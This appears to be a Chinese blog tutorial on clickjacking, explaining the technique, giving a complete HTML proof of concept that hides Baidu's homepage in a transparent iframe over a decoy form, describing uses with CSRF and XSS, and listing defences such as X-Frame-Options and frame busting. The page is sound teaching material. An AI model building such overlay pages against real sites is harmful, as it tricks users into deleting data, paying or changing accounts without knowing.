点击劫持

0x00 点击劫持(clickjacking)

点击劫持,clickjacking,也被称为UI-覆盖攻击。它是通过覆盖不可见的框架误导受害者点击。虽然受害者点击的是他所看到的网页,但其实他所点击的是被黑客精心构建的另一个置于原网页上面的透明页面。这种攻击利用了HTML中iframe标签的透明属性。

0x01 点击劫持基础步骤

攻击者创建一个网页,并用iframe包含另一个目标网站。(如淘宝等)

调整iframe属性使目标网站透明。

根据想要诱导受害者点击目标网站上按键的位置,在自己创建的网站同样的位置上布置一个按钮。

对方在无法看到iframe界面的情况下点击按钮,实际上在目标网站上做了危险操作。(如购买,转账)

0x02 点击劫持实现

点击劫持最常见的方法就是上面所做的基础步骤,我们可以自己写一个网站实现一下。

先贴代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<html>
<head>
<style>
body{
margin:0px;
border:0px;
padding:0px;
position: relative;
}
iframe{
z-index:1;
border:0px;

-moz-opacity:0;
opacity:0;
filter:alpha(opacity=0);
}
.a input{
z-index:0;
width: 500px;
height: 38px;
padding: 9px 7px;
vertical-align: top;
/*outline: none;
border: none;
box-shadow: none;*/
}
.a form{
z-index:0;
position: absolute;
top: 182px;
left: 50%;
margin-left: -319px;
width: 638px;
}
button{
cursor: pointer;
width: 102px;
height: 38px;
line-height: 38px;
padding: 0;
border: 0;
background: none;
background-color: #38f;
font-size: 16px;
color: white;
box-shadow: none;
font-weight: normal;
position: absolute;
right: 0;
}
</style>
</head>
<body>
<div class="a" ;>
<form action="xxxx.php" method="post">
<input type="text" name="test" >
<button>Try</button>
</form>

</div>
<div>
<iframe src="http://www.baidu.com/" id="iframepage" name="iframepage" width="100%" height="100%" scrolling="no";></iframe>
</div>
</body>
</html>

iframe调用过来的界面是不想让用户看到但是想让用户操作到的界面。我这里直接调用了百度的主页演示,并不会造成危害。

所以在iframe的css设置中:

  • 需要将它放在最上层(z-index数值高于我们其他页面的z-index)

  • 且要透明:

    1
    2
    3
    -moz-opacity:0;
    opacity:0;
    filter:alpha(opacity=0);

给用户看的是我们写好的一个页面,我在这里只写了一个form,里面存在和百度输入框和“百度一下”按钮一样大小的两个元素。在实际情况中可以制作好一个完整的网页,诱导用户在关键性的地方输入或点击。

然后我们先将透明度opacity的几个值设为0.1,然后打开这个页面,可以看到,百度的输入框和搜索按钮和我们写好的输入框和搜索按钮是完全重合的,并且由于iframe页面在上面,点击到这个输入框时,输入的内容是进入百度输入框里面的。

如果设置opacity=0调成完全透明时效果如下

我们在这个输入框输入内容并点Try,实际上却是在隐藏的百度页面中输入内容并点搜索。这其实就构成了点击劫持。

可能看到这里你会想,实现这个功能有什么实际意义呢?

当然如果只是跳转一个百度页面会没有什么意义,我们可以举一个小例子,如果一个用户恰好处于百度贴吧登陆的状态,浏览器记录的它的cookie,我的iframe调用的是一个透明的贴吧管理界面,而由于浏览器cookie的存在,这个用户在这个界面是处于登陆状态的,那么我通过精心构造一个页面诱使它点击“删除帖子”这个按钮,这个用户就很有可能在访问我的网站的时候,因为随意点了几下鼠标,导致控制自己帖子被删除。

如果去调用一些危险操作的页面(转账,付款,重置密码,注销账号),在开通小额免密支付的情况下,也许会在完全不知情的情况带来很多损失。

0x03 配合其他漏洞

csrf

通常的csrf由于同源策略、token等的原因,都会被拦截下来,但是点击劫持本就是在iframe中调用原网页,服务器会认为是用户自己在正确的页面做出了这些操作,可以通过点击劫持,去控制用户做那些csrf做不了的操作。

xss

反射性xss漏洞触发时会在页面url中存在恶意xss代码,目前谷歌浏览器等都会进行拦截或警告,但是如果利用点击劫持,控制用户做出点击触发js代码的操作,就不会触发浏览器的安全策略,将一个原本可能无关紧要的漏洞变的具备威胁。

0x04 应对

X-FRAME-OPTIONS

X-FRAME-OPTIONS是微软提出的一个http头,专门用来防御利用iframe嵌套的点击劫持攻击。并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。

这个头可以配置:

  • DENY // 拒绝任何域加载
  • SAMEORIGIN / / 允许同源域下加载
  • ALLOW-FROM // 可以定义允许frame加载的页面地址

在php中可以这样配置:

1
header('X-Frame-Options:Deny');

FrameBusting

Frame Busting 代码使用 JavaScript 脚本阻止恶意网站载入网页。如果检测到网页被非法网页通过iframe载入,就执行自动跳转功能。

验证码

在面对存在验证码的页面时,用户看不到这个透明页面,肯定是不会输入验证码的,在危险操作位置布置验证码认证,就可以防止点击劫持造成危害。

NoScript

上述几种都是服务器所提供的策略,但我们总不能祈祷着每个网站都能做到这些安全策略,我们用户要保护自己,可以使用firefox的NoScript插件ClearClick,这个组件可以检测出页面存在的点击劫持攻击。

fork me on github